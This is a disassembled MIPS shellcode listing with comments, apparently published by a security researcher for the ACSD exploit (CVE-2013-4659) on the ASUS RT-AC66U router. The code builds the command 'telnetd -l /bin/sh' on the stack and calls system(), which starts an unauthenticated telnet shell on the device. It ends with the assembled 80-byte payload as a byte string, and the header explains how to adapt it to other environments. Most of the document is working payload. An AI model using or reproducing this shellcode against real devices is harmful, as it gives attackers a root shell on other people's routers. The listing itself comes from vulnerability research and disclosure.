# Disassembled MIPS Little Endian Shellcode 
# Shellcode was designed for ACSD exploit on the ASUS RT-AC66U SOHO router.
# CVE: CVE-2013-4659
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com
#
# NOTE:
# In order to use this MIPS ASM elsewhere, you will need to change the address
# of the system() function call to match your environment and reassemble the ASM.
# _ characters in the comments below represent a space.


    lui     t0,0x6e6c //Loading Upper Immediate nl into temp. reg. #0
    ori     t0,t0,0x6574 //Bitwise OR immediate. Putting et into lower 16 bits of t0
    sw      t0,-20(sp) //Store word pointer to command string for execution
    
    lui     t1,0x2064 //Loading Upper Immediate _d into temp. reg. #1
    ori     t1,t1,0x7465 //Bitwise OR immediate. Putting te into lower 16 bits of t0
    sw      t1,-16(sp) //Store next part of command

    lui     t2,0x2f20 //Loading Upper Immediate /_ into temp. reg. #2
    ori     t2,t2,0x6c2d //Bitwise OR immediate. Putting l- into lower 16 bits of t1
    sw      t2,-12(sp) //Store next part of command

    lui     t3,0x2f6e //Loading Upper Immedate /n into temp. reg. #3
    ori     t3,t3,0x6962 //Bitwise OR immediate. Putting ib into lower 16 bits of t2
    sw      t3,-8(sp) //Store next part of command

    li      t4,26739 //Loading Immediate hs00 into temp. reg. #4
    sw      t4,-4(sp) //Store next part of command

    addi    a0,sp,-20 //Store "telnetd -l /bin/sh" in reg. a0 for system() function call
    addi    sp,sp,-20 //Move stack pointer to "telnetd -l /bin/sh" string on the stack 

    lui     t9,0x2ab4 //Loading Upper Immediate of system() into t9
    ori     t9,t9,0xf050 //Bitwise OR immediate. Putting rest of system() into t9
    jalr    t9 //Jumpying to t9/system()

    andi    at,k1,0x4132 //Filler instruction for branch delay


# NOTE: Assembled shellcode
#
#    #80 Bytes system() Shellcode by Jacob Holcomb of ISE
#    #Calling system() and executing telnetd -l /bin/sh
#    shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
#    shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
#    shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
#    shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
#    shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
#    shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
#    shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
#    shellcode += "\x41\x61\x33"